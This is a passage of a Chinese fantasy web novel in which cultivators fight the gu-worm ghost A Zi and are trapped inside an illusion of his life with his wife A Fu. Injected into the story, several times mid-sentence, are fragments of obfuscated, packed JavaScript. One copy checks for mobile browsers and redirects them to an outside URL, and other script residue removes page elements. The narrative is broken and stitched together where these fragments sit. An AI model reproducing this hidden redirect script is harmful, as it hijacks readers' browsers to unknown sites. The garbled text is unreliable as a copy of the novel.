他对薛成昭喝道:“看顾好她们!”随即疾步上前,与灵秋并排而立,挥动长剑,拼命清扫蛊虫。 地上被阵法束缚的异兽发出不安的嚎叫,云靖身上法印晃动,似有突破之势,灵秋余光瞟过,眉心一蹙,横臂将他向后击出数丈。 她翻身落地,被眼前汹涌的虫潮连连逼退。阿紫见状得意地打了个响指,冲她道:“别再挣扎了,你们根本不是我的对手。” 他微微一笑,露出一对虎牙,年轻英俊的面孔上显出顽皮的稚气,多出几分鲜活的气息。 可周身寒意汹涌,阴气阵阵侵蚀着人的感受,哪有半点阳间的温度? 灵秋冷道:“死人不去投胎,反倒在这江底虫窝杀人害命。小小蛊虫也敢自称龙王,真是不知天高地厚!” 她疾言厉色,阿紫却丝毫不怒。 他手指微动,周遭蛊虫便扭动着昂起上半身,细小的节肢颤动着,仿佛一片片黑色麦浪在风中扭曲摇摆,铺天盖地。 循着地上滴落的血,虫潮向几人狂涌,云靖一手挡在灵秋身前。 剑光如狂风骤雨,撕开道道血路,然而很快,蛊虫们又疯狂填补上来,仿佛无穷无尽。 阿紫站在远处,好整以暇地欣赏着猎物们徒劳的抵抗,眼光锁定在灵秋身上,笑嘻嘻道:“你这小丫头的血竟然能抵挡我的催眠之术,看来定是哺育龙王之子的绝佳人选。” 他眼中迸出狂热的光:“说不定用你的血养出的蛊,能成为这世间至强的万虫之王。届时,这江底封印便再也拦不住我!” 说着,更加急促地催动符咒,驱使着蛊虫蜂拥而上。 薛成昭狂撒出无数道符篆,拦在云海川和闻人双双身前,拼命驱赶着蛊虫,手臂都快轮出火星子,忙得满头大汗。 百忙中,他用余光瞄一眼旁边的灵秋,只见她站在云靖身侧,紧紧皱眉,一动不动。 薛成昭不禁急道:“你还在发什么呆!赶紧动手啊!” 灵秋抬眼望着天上的月亮——如今它已经闭合变幻成了一条淡青色的细缝。 她一把握上薛成昭的手臂,眸光清亮,十足骄矜:“想让我出手也行,不过你得答应,回去之后将你薛氏一族的余银全都无偿赠我。” 薛成昭简直不敢相信自己听到了什么,眼下性命攸关,她居然想趁火打劫!? 他当即怒道:“你你你!我们如今一同被困在此处,你不出手,一样要一起死在这儿!” 灵秋一笑,纵身跃出数丈,击飞一众蛊虫,脚踏于水晶废墟上,居高临下道:“我才不会和你们一起死。” 她看向阿紫:“大不了我主动把你们一网打尽,全交给这个石头鬼。你也听到了,我的血效用神奇,说不定主动投诚,他还能饶我些许时日呢。” “哈哈哈哈哈哈哈!”阿紫被逗得直乐,停下手上动作,笑道:“说得不错!” 他心情极好地掸掸衣袍:“先拿你们几个给龙子龙孙们过过嘴瘾,最好的东西自然要留到最后享用。” “听到了吗?”灵秋笑眯眯地看着薛成昭,“要么给钱,要么速死。薛公子贵为世家大族后人,金银财宝唾手可得,还有什么可犹豫的呢?” 云靖在一旁听着,早就忍不住皱眉,如今更是忍无可忍。 他径直上前,用身体把薛成昭挡得严严实实,对高处的少女道:“你要金银财宝我给你就是,快下来,莫再与这鬼魅废话。” “你是我的仆人,你的钱财本就是我的东西。”灵秋丝毫不为之所动,“况且周围这么多蛊虫,要救人可不是件简单的事,我拿点报酬怎么了?总不能白白牺牲吧。” 她在空中刷刷几笔,画出一张欠条,扔给薛成昭:“薛公子若答应,即刻签了这欠条,否则可别怪我独善其身了。” “哈哈哈哈,有趣!” 整整五百年,无数修士,从没见过这样的鬼热闹。 阿紫看着灵秋动作,将手枕在脑后,眯起眼睛饶有兴致地观察薛成昭的反应。只见他面色铁青,活像一根被雷劈焦的甘蔗,僵直在原地,进也不是,退也不是。 他就知道!这个凌秋根本就是看他不顺眼! 薛成昭看着云靖,忍不住道:“大师兄你快说句话啊!” 云靖盯着灵秋,眼中情绪酝酿,竟是一语不发。 看来如今连大师兄都拿她没办法,薛成昭气死了,心想若有命出去,一定要在众人面前狠狠揭穿她的嘴脸。 他薛氏虽然家道中落,依靠闻人氏才能获得参与阳华仙会的资格,然而瘦死的骆驼比马大,余银倒有,而且不少。 只是要他被逼着交出去,薛成昭万万做不到! 他打定了主意不应,谁料忽然间,有人握上了他的手臂。 “给……她。”云海川睁开眼睛,虚弱地发出声音,“钱财乃身外之物,命……只有一条。” 薛成昭震颤地转过身去,这才第一回清楚看到她身上遍布的伤口。 两人从小一起长大,每回遇险向来是云海川冲在他身前保护,她修为甚高,性情洒脱,何曾有过如此狼狈的时候。 薛成昭内心大震,眼眶一酸,竟忍不住滚下两行清泪。 他忙回握住云海川的手,隐忍哽咽道:“好……好,我答应,我答应。” 说着,狠狠扯过空中的欠条,愤怒地签上名字,飞扔向灵秋,吼道:“够了吗!” “勉强吧。”灵秋一笑,转头看向阿紫,“其实你这只鬼长得还不错,不过拿人钱财替人消灾,我也只好送你投胎去了。” 言罢,她旋身一跃,竟是二话不说,一头扎入虫潮。 薛成昭发出一声惊呼,只见转瞬间,一道凌厉的剑光划过,目标不是地上直立的黑虫,而是施术者自己的小臂。 嗤嗤嗤—— 皮肉破裂的声音在狭窄的空间内炸开,鲜血顿时狂喷而出,染红了整片天地,所到之处,蛊虫发出尖利的诡叫,卷曲着身体,如被火灼烧般化作黑灰。 血气如狼烟冲天而起,灵秋跃身落至几人身前,手中杀意如潮,挥剑割开骨肉,血珠四溅间,满地蛊虫灰飞烟灭。 阿紫目瞪口呆地看着眼前发生的一切,惊怒地瞪大眼睛,看向灵秋的眼神带上诡异的探究。 他指着她,惊讶地连说了好几个“你”,终于忍不住惊呼:“你居然已……” 话未说完,凝霜剑便带着凌厉的剑风,重重斩向他。 鲜血沿着指尖滴落,染红了地面,带起蛊虫焦化后徐徐上升的黑烟,灵秋面色泛白,脚步一软,云靖急切地冲到她身侧,以凝霜横接住她摇摇欲坠的身躯,将人带入怀中,二话不说,抚上她的伤口,灌注灵力。 “快走!” 灵秋和云靖合力劈开一道空隙,一行人立即飞身向外逃去。 阿紫被剑气掀飞出去,灵体闪烁,似有几分不稳。 他跪在地上,滑行数丈,嘴角勾起一抹狞笑:“好啊,好啊!敬酒不吃吃罚酒,想出去,做梦!” 突然间,眼前漫起大雾,废墟、水晶宫和天上那条淡青色的细缝消失了,满目间只剩下缥缈的轻纱。 幻境? 灵秋立刻反应过来。 她抬起手臂,只见一截白嫩的皮肤,毫发无损。 确是幻境不假。 修行之人破障问心,一旦心有破绽便容易被妖魔利用,身陷幻境。 世人各有自己的迷障,陷入幻境本是常事,对她来说却很不寻常。 或许是因为失去四百年的记忆,又或许是修为和血脉的加持,灵秋对世间的一切幻术自然免疫,当下入幻,却是破天荒的头一遭。 她心中不免紧张起来,想伸手去拉身边人的衣袖,却不料在触到云靖的瞬间,风云诡谲变幻,眼前竟出现一座青山碧水的古朴村落。 鼻尖飘来清浅的花香,淡粉色的花瓣旋转着缓缓坠下,落在她的身上,落满了衣袍。 灵秋伸手去接,惊讶地发现这只手指骨修长,略带青筋,赫然是男子的手。 她摸上自己的脸,下巴处有些扎手,竟是青青的胡茬。 灵秋想化出镜子,身体却像不受控制般,径直抬头,望向头顶如伞撑开的芙蓉花树。 脚边有雨水积蓄而成的小水坑,透过浑浊的水面,灵秋看到,这是一个面容模糊的青年,束着高高的马尾,装扮得有些少年气。 他踮起脚,努力地伸手,像是想采下离自己最近的那朵芙蓉花。 凡人? 灵秋被迫随他的动作伸长脖子。 呲啦—— 树枝划破了手臂,血珠冒出来,青年吃痛地轻呼一声,却更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然,远处薄雾外,隐约出现一道曼妙的身影。阿紫一顿,立即飞奔起来,朝着那人跑去。 他真的太开心了,带动灵秋也不自觉扬起嘴角。 成何体统? 她赶紧死死抿住嘴唇。 就在这瞬间,阿紫飞扑向那人,一把将她紧紧裹进怀里。 柔软的触感让灵秋瞬间回神,鼻尖蹭到凉凉的东西,忍不住打了个喷嚏——竟然是面粉!? 芙蓉花香幽幽浮动,原来是位女子。确切来说,是位沾满面粉的女子。 想必这就是方才妇人们口中的阿芙了。 “芙娘,我好想你!” 阿紫毫无顾忌地表达着自己的心绪,也不顾面粉沾了满脸,一颗脑袋埋在女子的肩侧不住地轻轻蹭着,搞得灵秋浑身发毛。 天呐,这人怎么跟狗一样。 她心头正犯嘀咕,阿紫便被女子拧着耳朵提到一边。 原来是位明眸皓齿的小娘子。 阿芙一手拿擀面杖,一手揪着阿紫的耳朵,生气地教训道:“说了不让你乱跑,万一被发现了怎么办?” 被发现? 嘶——好疼! 灵秋被揪得头皮发麻,正想瞪她,未料阿紫反倒露出一个明朗的笑容。 “芙娘芙娘我错啦!”他从袖子里掏出芙蓉花,献宝似的捧到小娘子跟前,“送给你!” 小娘子一见那花,当即什么气也消了,松了手把头凑过去,笑眯眯道:“替我戴上。” 阿紫便拿着花左瞧瞧,右看看,挑出一个最好的角度,小心翼翼地替她装扮。 真是好一对恩爱的小夫妻啊。 看这女子作村妇装扮,一副揉面干活儿的模样,想必是个凡人。 可听她方才的话又好似另有玄机。 灵秋心下疑虑重重,只见阿紫亲昵地揽过阿芙,两人一道往屋子里去。 “等明日继续启程,等到了北边,他们就再也找不到我们了。”他看着灶台上四不像的面团傻笑,接过阿芙手中的擀面杖。 阿芙却笑不出来,眉间浮上一丝忧虑:“我们这一路上刻意隐藏法力,也不知到底有没有用……” 原来这两人都不是凡人。 莫非是妖怪? 灵秋正猜测,天光之下,却有什么东西一闪而过。 她透过阿紫的眼睛望去,只见阿芙腰侧,摇摇晃晃挂着的竟赫然是修仙之人才有的玉牌。 驱使蛊虫杀害无数修士的阿紫竟然与仙门之人相恋!? 33.雾中见我情地恨天(2) 灵秋心道:“人妖相交一向为仙门世家所不容,说不定阿紫死后潜入江底对各路修士大开杀戒的原因正是由爱生恨。这两人现在看起来关系好得不得了,一起出逃,想必就是传说中的‘私定终身’了。” 看出阿芙的忧虑,阿紫放下手中的活,转身拥住她。须臾,突然想到什么般,眼神一亮,对她道:“芙娘,你等我一下!” 说罢,火急火燎地跑了出去。 村中老槐树下,清晨的阳光洒在树根上,照出一座用枯叶杂草堆出的小狗窝。 老黄狗疲倦地卧在草叶堆里,正眯着眼睛打盹,听到动静,不咸不淡地瞄一眼来人,连姿势也懒得换。 阿紫操着鬼鬼祟祟的步伐跑到狗窝面前,在身上掏来掏去,摸出一小块干巴巴的饼,一点点掰碎了,客客气气地递到老黄狗嘴边。 “小黄小黄,我们先前可说好了,如今我娘子整日郁郁寡欢,你可得帮帮我。” 老黄狗低头嗅了嗅他手上的碎饼,伸出粗糙的舌头一一舔干净,撑起身子从狗窝里走出来。 灵秋这才看见原来这狗身子底下还卧着好几只刚出生的小奶狗。黄的黑的,什么花色都有。 除了最边上那只最花的,小狗崽们全都挤在一起,紧紧闭着眼睛,睡得很死。 那花狗崽子一双黑葡萄似的大眼睛,滴溜滴溜转个没完,在看到阿紫的瞬间,激动得放声大叫起来,表情竟然十分愤怒。 “诶?” 阿紫原本还在犯难,顷刻便被这只大叫的小花吸引了注意,伸手拎着它的后颈,将狗提溜出来。 “干脆就选这只活泼的好了!”阿紫温柔地替小花顺毛,站起来对着老黄狗郑重其事地鞠了一躬,“多谢小黄,你的大恩大德,我此生定然铭记于心!” 灵秋心情复杂地跟着他弯腰。 目送老黄狗躺回狗窝,阿紫抱着小花狗,快步跑回家。 “当当!” 他非常有心地沿路精选几朵野花,将小花狗隆重打扮一番,蒙着阿芙的眼睛,将人领到外面,给她一个惊喜。 说实话,此人的审美真是……一言难尽。 灵秋看着小花狗脑袋上浮夸的花圈,忍不住默默吐槽,没想到阿芙却十分捧场。 她尖叫一声,飞跑过去将小花狗抱进怀里。 即使在逃亡途中,阿芙和阿紫还是四处找来工具材料,花了一整天的时间,在小茅屋外面替小花砌了一座牢固的狗窝。 谁知这狗十分不识抬举,站在院子中央,横眉冷对,说什么也不往自己的新家挪动一步。 灵秋看着阿紫手上被木屑划破的细小伤口,回想他方才做工时笨手笨脚的模样,心道:“此妖物怕是初入世间,还未习得为人的诸多技能。” 不过他待阿芙倒极好,一整天下来也只让她顺手递了些东西,重活累活碰也不让碰。 阿芙盯着面前犯倔的小花狗,彻底没了辙,一脸挫败地走过来,阿紫连忙将受伤的手往袖子里藏了藏,露出笑容,亲昵地去哄她,绞尽脑汁地想来俏皮话,一套接一套,不多时便逗得她笑起来。 然而阿芙嘴角虽然上扬,眉间忧色却丝毫没有消退的意思,眼中愁意如一潭秋水沉沉,叫人难以望透。 阿紫大概也能看出她的迟疑,但他并未挑破,只是安抚般将人揽入怀中。 远处的风吹过山林,草木如浪潮般翻滚蔓延,夕阳灿烂,投下两人交叠的侧影,落在院子里,轻轻地晃动。 炊烟阵阵,农人归家。远处人声鼎沸,这方小院却安静得像桃源世外。 怀中人的发丝蹭在下颌,带着一点熟悉的气息。 灵秋突然感受到一股陌生的情绪,像一杯热茶,捧在手心,茶香与热气一点点流入心里,渗进骨头里。 她知道这是阿紫的感受。 这晚,阿芙自告奋勇下厨,饭菜端上桌,阿紫夹起一筷子塞进嘴里,露出惊喜的神情,称赞道:“好好吃!芙娘的厨艺越来越好了!” 放屁。 人间十年,灵秋恐怕从未尝过如此难吃的东西。 只一口,她便浑身难受,此刻若换了自己的身体,恐怕早冲到一边,心肝脾肺都要尽数呕出来。 然而阿紫却像全无味觉般,对着一桌饭菜风卷云残。 阿芙站在厨房门口,手上还拿着沾了酱的锅铲,看着他一点点吃完自己做的东西,终于露出由衷的笑容。 她扬眉道:“那是当然了,看来我在庖厨一道上颇有天分!” “对了!”阿芙凑上前,满脸期待地看着阿紫,“我今日又换了个新方子,你可别吃光了,给我留一些,我自己都还没吃过自己做的菜呢。” 阿紫立马将最后一点菜挑起来塞进嘴里,抬头一脸无辜地看着她。 阿芙看着他塞得鼓鼓的腮帮子,目瞪口呆:“……你做什么啊?” “对不起。”阿紫含糊道:“芙娘你做得太好吃了……我一时没忍住。” 他认真道:“要不这样好了,我现在就亲手下厨给你赔罪,你想吃什么,我都做。” “你总是这样!” 阿芙委屈极了,可紧接着,阿紫蹲到她身前,小心翼翼地去扯她的袖子。 “芙娘,我不是故意的……我错了,真的错了。” 阿芙不理。 于是他蹭的一下跪在地上,抱着她的腰,仰头看她,声音带着点讨好:“你别生气了,我马上就去做你爱吃的,银耳莲子羹,好不好?” 阿芙鼻尖一酸,别过脸去。 阿紫立即得寸进尺,贴过去,小狗似的蹭着她的颈侧,声音黏糊,带了十足的诚恳:“芙娘,我保证以后再也不贪吃了,你打我也好骂我也好,千万别不理我,要不我学小花叫让你开心?” 说着,毫不害臊地“汪汪”两声。 阿芙再也绷不住,扑哧一声笑出来。 像生吃了一罐蜜,腻得慌。 灵秋随阿紫的动作尝了口银耳莲子羹,整个人都活起来。 这才是人该吃的东西! 她看着阿芙一勺勺舀着银耳羹,从两人方才的只言片语中拼凑出信息,心道:“看来因为阿紫的刻意隐瞒,阿芙从来没有亲口尝过自己做的饭菜,所以才会一直觉得自己厨艺高超。而阿紫每次吃完她做的菜,恐怕都会亲自下厨。这样一来,阿芙一直吃到的都是他做的,正常的食物。” 如今她被困在阿紫的身体里,一想到以后还要再吃到阿芙做的饭菜,真恨不能当场撞柱而死。 世间最牢固的幻境皆起于执念。通常来说,只有破除施阵之人的执念才能驱散幻境。 她初入幻境,什么也不清楚,云靖等人也不知身在何处,两眼一抹黑,唯一的办法只有先顺着故事发展,走一步看一步。 可为什么偏偏要困死在阿紫身体里? 没有自由行动的能力,又该怎么破除执念? 窗外,夜幕笼罩了大地。远处山风呼啸着,如恶咒低吟。 黑暗属于魔族。 看这小村周边山势起伏,灵秋猜测,此地位置已由南偏北。 到了晚上,魔族倾巢而出,最是凶险不过,这村子周围为何一片黑暗,不见半点伏魔结界的踪影? 远处人声依旧喧嚣,不时传来孩童嬉戏的笑语,俨然一副安居乐业的模样。 难道他们不怕魔吗? 天上,一轮硕大滚圆的明月高悬。 桂树飘香,正是孟仲交替的秋季。 阿芙带着愁绪早早上床。 屋内没有点灯,均匀的呼吸声里,阿紫轻手轻脚地下床,走到院子里,借着月色,捞起衣袖,从怀中掏出一只瓷瓶,将伤药一点点地涂在手和胳膊的伤处。 忍了一天,藏了一天,冰凉的药膏落在伤口上,激起战栗的刺痛。 月光透过云层,洒在院子里。 忽然之间,一股强大的力量拉扯着灵秋,将她从阿紫体内一把拽出来! 阿紫正好抬眼看过来,灵秋一惊,呆在原地。下一瞬,他竟抬脚向她走来。 阿紫径直从她身体中间穿过,目不斜视,全然没有察觉到任何不对。 灵秋抬起手,惊讶地看着他的背影,耳边传来嘬嘬嘬的声音——是阿紫在呼唤小花狗。 月色皎洁,脚下却没有影子。 不远处,白日里阿紫亲手摘下的那朵芙蓉花好端端地泡在水池里。 灵秋走上前,伸出手,试图触碰芙蓉,指尖却被花瓣径直穿透。 水面波动,芙蓉花轻轻摇曳,远远看去,空荡的院子中央只蹲着一个提着狗脖子的青年和一只死抠着地面、绝不屈服的花狗。 小花死死盯着身后,阿紫狐疑地转头,只见到一池秋水倒映出的清凌月光。 “罢了罢了,坏小狗!”他终于没了耐心,转身走进屋子。 下一瞬,地上的花狗身躯一震。 在灵秋震撼的目光中,月色下,一道人影显出轮廓。 比薛成昭的模样更先亮明身份的是他愤怒的叫骂:“你才是狗,你全家都是狗!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454245|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >灵秋看着眼前气势汹汹的人,差点没忍住笑出声。 难怪小花狗总是一脸怒气。 她毫不留情地嘲笑:“你居然在狗的身体里!” “你笑什么!”薛成昭冲到她跟前,涨红了脸,目光却骤然定在她额间,皱眉道:“你……” 他话没说完,两人身侧,水中的芙蓉突然剧烈摇晃起来。 下一瞬,又一道身影出现。 是云海川。 灵秋这才发现,她身上完好,一点伤口也没有。 她抬起手臂——自己的伤果然也好了。 “海川!”薛成昭急忙上前。 他的目光落到云海川身上,伸出自己的手,忍不住道:“为何你看起来比我更浅?身上的伤也不见了?” “因为我们如今是以灵体的形态存在。” 三人转头,只见云靖穿过紧闭的柴门,缓缓走出。 “灵体状态只会显示每个人原本的样貌,不会显示任何躯体上受到的创伤。云姑娘身受重伤,灵体虽然完好,却十分虚弱,因此才会……” 他的话突然梗在喉咙里,目光落在眼前人额间。 灵秋感受到他的视线,伸手抚上额头,心下一空,心道:“莫不是他们看出了此处封印的魔气!?” 她正忐忑,却见云靖走上前,疑惑道:“你额间为何会有花钿?” “花钿?” 灵秋皱眉,迅速化出铜镜,举起来一瞧,果然看见原本光洁额心赫然镌刻一朵花印,朱明炽盛,绯光熠熠,碾碎了银白的月华。 云海川道:“看起来像极了一朵牡丹。” 她的目光落到灵秋一样有些发透的身体上,心头的龃龉便消下大半。 对于像灵秋这样的修士来说,血恐怕比金银财宝珍贵许多。虽不知方才生死关头趁火打劫的缘由,但一行人走到如今,她并未做出任何伤害同伴的事,反倒处处维护。 行走江湖向来“义”字当头。云海川忍不住有些担忧:“莫非是方才进入幻境时,阿紫下了什么咒?” 云靖闻言立即起手拈出一道诀。 灵秋按下他的动作。 “我暂时没觉出有什么不对。”她道:“先别管那么多,如今最重要的是得尽快找到破除幻境的方法。” “我方才被困在阿紫身体里,薛公子被困在小花的身体里,云姑娘在芙蓉花里。”灵秋看向云靖,“你在……” “阿芙。”云靖道:“我方才一直在阿芙的身体里。” 他盯着灵秋额间的花印,严肃道:“此处幻境由执念而生,阵法牢不可破,应该是阿紫最后的底牌。我们必须尽快找到破解幻境的方法,否则时间一长,灵肉分离。灵体被永远困在这里,而外界的身体恐怕会彻底沦为饲养蛊虫的食物。” 云海川道:“也就是说我们必须化解阿紫的执念……可他的执念究竟是什么?” “阿芙。” 云靖和灵秋异口同声地给出答案。 薛成昭在这时插话道:“没错!人妖相恋向来为天地所不容。我猜,阿紫和阿芙一定受到了仙门的追杀,最后两人双双被仙门正派所杀。阿紫死不瞑目,所以才会以鬼身潜伏阳华境外,饲养蛊虫,专门迫害仙门之人!” 云海川点点头:“以我观察,阿芙与阿紫二人相爱甚笃,极有可能是受到外力,不得已分开。” 她沉吟片刻,接着说:“他们被仙门追捕,迫不得已逃亡北方。北地魔族猖獗,说不定,他们最后为魔族所害,这样一来便能解释江底那些属于魔族的蛊虫。” 提到魔族,在场四个人都忍不住皱眉。 薛成昭像是突然想到什么,激动道:“对了,方才趁他二人不注意,我四处打探了一圈。”他压低了声音,“这整个村子都邪门得很!” “我也发现了。” 云靖道:“按照常理,人间每处村子周围都有太霄辰宫专门布下的伏魔阵,保护百姓不受魔族侵扰。每逢夜晚,魔族侵扰,人们闭窗锁门,足不出户。然而此地不仅没有伏魔阵,到了夜晚还有孩童嬉戏,实在匪夷所思。” “而且……”他看向云海川和薛成昭,“我并不赞同两位方才的推论。因为阿芙如今仍在背着阿紫与仙门中人联络,传递位置。” “什么!?” 薛成昭不可置信。 “看来阿芙对阿紫的感情根本没有表面看起来的那么单纯。” 灵秋冷道:“世人总说魔族诡魅,或许在蛊惑人心一道上,仙门之人也不遑多让呢?” 34.雾中见我情地恨天(3) “你的意思是阿芙假意与阿紫私奔,实则是为取他妖丹和性命?”薛成昭看向云靖,“难道大师兄也是这么认为的?” 无人回应。 云靖的目光落在灵秋身上,对薛成昭的问题置若罔闻。 云海川顺着他的视线望去,眼神微顿,开口道:“无论真相究竟是什么,我们如今以灵体的形态存在,看得见,摸不着。说不定到了白天又会重新被困,根本无法行动。” 她看向灵秋和云靖:“我们必须先解决这个问题,可有什么能让灵体暂时化为实体的法术?” 云靖道:“有是有,不过需要我们四人合力施术。” “那就来!” 说着,薛成昭一马当先,率先摆开结印手势。 夜色如墨,四人分立于四方,口中起诀,一道近乎透明的法阵缓缓覆盖住小院。 阵中人衣袂微扬,灵力随气息缓缓流转,天地间仿佛笼罩上一层朦胧的白雾。 古老的符文自地底浮出,腾空环绕,融进几人的身体。须臾,雾气散去,缥缈的身影也逐渐凝实。 “这也太神奇了!”薛成昭抓起旁边的一只水瓢,拿在手里激动地挥了挥。 突然,屋内传来响动。灵秋一惊,一把拽住薛成昭的衣领,几个人猫着腰,一路狂奔,远远听见阿紫和阿芙的交谈,躲进了不知谁家的大石墙后面。 云海川一把夺过薛成昭手上的水瓢,哐哐往他脑袋上砸了两个爆栗,恨铁不成钢:“我说你能不能有点脑子!” 灵秋皱眉,手心正变出一根红烛,人却被云靖猛地一拉,脑袋磕到他胸前,发出一声闷响。 “你做什么?” 她还没抬头,就听见他闷哼一声,像是被撞疼了。 灵秋立即想挣脱,然而下一瞬,云靖的声音传来:“别动,有人。” 话音未落,他已反手将她按进怀里。 温热气息瞬间包裹住灵秋,说来奇怪,寻常修士身上要么是清冷的雪松香,要么是内敛的檀香,眼前人身上却是温软的桂花香,整个人闻起来完全就是一块热气腾腾的桂花甜糕。 外面的人还没走么? 心头那点烦躁都被甜香抚平,她忍不住轻轻蹭蹭他的衣襟,不动声色地嗅了嗅。 咚咚——咚咚—— 好像有人在耳边打鼓敲锣,灵秋忍不住用同音咒问:“外面的人到底在做什么,还没走吗?” “……走了。” 云靖手一松,灵秋立即从他怀里钻出来。薛成昭也跟着睁开眼睛。 “哇!大师兄,你的脸好红啊!” 他看着云靖,露出惊讶的伸手,忍不住俯身上前,试图越过中间人,一手摸着自己的脑门,一手伸向云靖的额头。 被挤成一团的云海川忍无可忍,手持水瓢化作法器,毫不犹豫地注入灵力,暴扣在他脑袋上,一把将他打出去。 薛成昭在地上滚过两三圈,伸手不见五指,捂着脑袋爬起来,正想发声控诉,只听耳边传来一声奇怪的“诶呀!” 他傻愣愣地转过头去,掀开罩在脑袋上的水瓢,只见一众村民手举火烛,视线齐刷刷射过来,张大了嘴,脸上的表情比他还要震惊十倍。 扑通! 膝盖与大地亲密接触的闷响声传来。 为首的年轻人张开双臂,朝天大吼:“老娘嘞!山神显灵了!” 紧跟着,村民们一个接一个地扑通跪下,像排队似的,冲着他连连磕头,嘴里纷纷喊着:“恭迎山神!” 薛成昭震撼地看着面前一上一下的脑袋。 剩下三人纷纷从石墙后走出,云海川皱眉盯着薛成昭看,一把将他顶在脑袋上的水瓢掀飞。 带着法术残留的水瓢摔在地上,瞬间失去光华,骨碌碌地滚到年轻人面前。 “山神,您的圣冠——” 年轻人捧起面前的东西,定睛一看,居然是只破水瓢!? 他不可置信地抬起头,只见面前站着四个长身玉立的少年人。其中一个姑娘弯腰凑近背后的石墙,念出上面的刻字——“山神显赫,镇守一方。千年不醒,一唤而来。” 姑娘皱眉:“什么神神叨叨的东西?” 年轻人两眼一黑,赶忙对身后的村民道:“搞错了!搞错了!别磕了!” 原来这个村子正在举办祭拜山神的仪式。 原来眼前这几位是偶然路过的修士。 两拨人相互解释,看向对方的眼神都透露出几分尴尬。 年轻人自称村长,云靖问道:“诸位祈求山神,莫非是为了抵御魔族之祸?” “是啊!”薛成昭揉着脑袋上的包,“难道是这个山神替代了伏魔阵,所以你们才能这么放心,连晚上也不怕?” 村长闻言露出困惑的表情:“二位仙长在说什么啊?什么魔族,我们这儿从来也没见过魔啊。” 他沉吟片刻,恍然大悟:“四位想必是下山游乐打猎的吧,你们要找魔,不该来人间,应该去魔域啊。” “什么!?”薛成昭瞪大了眼睛,“人间没有魔!?” “是啊。”村长不知道他在激动什么,露出尴尬而不失礼貌的微笑,“人魔两族一向泾渭分明,互不干扰,这不是大家都知道的事吗?” “是啊是啊。” “一向都是这样啊。” 周围的村民纷纷附和。 “……” 薛成昭终于忍不住狠狠揪一把脑袋上的头发,和云海川交换了一道惊讶的目光。 “难道幻境还会改变现实?” 云靖听到同音咒里传来的问题,摇摇头。 他问村长:“村长可否告知如今是何年份?” “这个好说。”村长掰掰手指,嘴里嘟囔几句,确定道:“如今正是燕泠国灭四百八十七年。” “燕泠国灭?”灵秋不解,“那是什么?” “是一种古老的纪年方式。” 云靖解释道:“仙门世家崛起以前,整个人间由燕泠国统治。千年前,燕泠国灭,从此人们便用灭国的时间来计算年份。只是近百年来,这种纪年法已经几乎没人会用了。” “一千年前?莫非这个幻境存在的时间点是五百多年前。” 云靖点点头。 很明显,云海川和薛成昭也同时意识到了这点。 几人顺着村民的话假称是下山游乐的修士,随便说了个有些年份的门派,村长便热情地邀请他们在村中暂住。 几人在山神庙安顿下来,内心疑窦重重。 云靖道:“我曾在一些断章残卷中见过,据说魔族食人之事并非自古存在。似乎很早以前,历代魔尊甚至颁布过严格的法令,静止魔族伤人。没想到居然是真的!” “魔族不食人……”薛成昭蜷缩在火堆旁边,“这简直难以想象!可如果真的是这样,阿芙和阿紫也就不可能是被魔族所伤了?” 他惆怅地说:“难道真的是阿芙和仙门一起对阿紫痛下杀手?” 云海川安慰道:“没事,等明日我们跟在他们身后一起上路,仔细观察,说不定能找到突破口。” “明日?恐怕我们没那么多时间。”灵秋终于举起手中的红烛,“显形阵法只能支撑一根红烛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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薛成昭震惊极了,末了,像是想到什么,嘟囔道:“怪不得你想要我的钱呢。” “哈哈,是啊。” 灵秋敷衍地点点头。 好险,一时不慎,差点暴露了。 云海川叹了口气:“所以到底应该怎么偷?” “跟我来。”灵秋率先摸进院子里。 偷窃可是卧底必备技能之一,此番就当练手了。 或许是因为方才被惊动,阿芙和阿紫睡得很浅,几人轻手轻脚地推门进去,趁着月色,连大气也不敢喘。 木床上,阿芙被阿紫搂在怀里,玉牌就挂在腰间,被衣物掩盖着。 几个人对视一眼,薛成昭小心翼翼地伸出手。 在几乎要触到阿芙的衣料时,瞬间,啪的一声轻响,像一股无形之力荡开空气,铸出一层看不见的壁障,将他的手拦在半尺之外。 床上的人不安地皱了皱眉,薛成昭大失惊色,赶忙收回了手,对着身侧的同伴拼命眨眼。 灵秋白他一眼,示意他让开,自己上前。 手指轻易地穿透结界,拨开遮挡的衣物,小心翼翼地捏住玉牌。 瞬间,腰上的符咒散开,玉牌轻轻滑进掌心。 几个人同时松了口气。 灵秋谨慎地注意着熟睡的阿芙,只见她青丝垂落,睫毛在月色映照下在脸上投出细细的一弯阴影,如蝉翼覆雪,轻柔而安静。 真好看。 她认真盯着阿芙看了片刻,正准备猫腰后退,突然间,长睫微颤,床上的人睁开眼,秋水明瞳直直地对上来。 灵秋一惊,手上玉牌不受控制地往地上滑去。 35.雾中见我情地恨天(4) 关键时刻,云靖上前。 玉牌稳稳落进他掌心,同时,灵秋被他拉到身后。 屋内落针可闻,几人如被定格了般,屏住呼吸。 目光交汇处,熟睡中的阿紫发出一声嘤咛。 与此同时,阿芙缓缓起身。 她的视线直直盯着面前的几人,眼神却很空洞。 仿佛被什么牵引着,阿芙赤足踩在冰凉的地上,一步步走出房门,动作轻飘僵硬,如被线牵着的木偶人,悄无声息。 “魇行之症。” 云靖用口型对同伴解释。 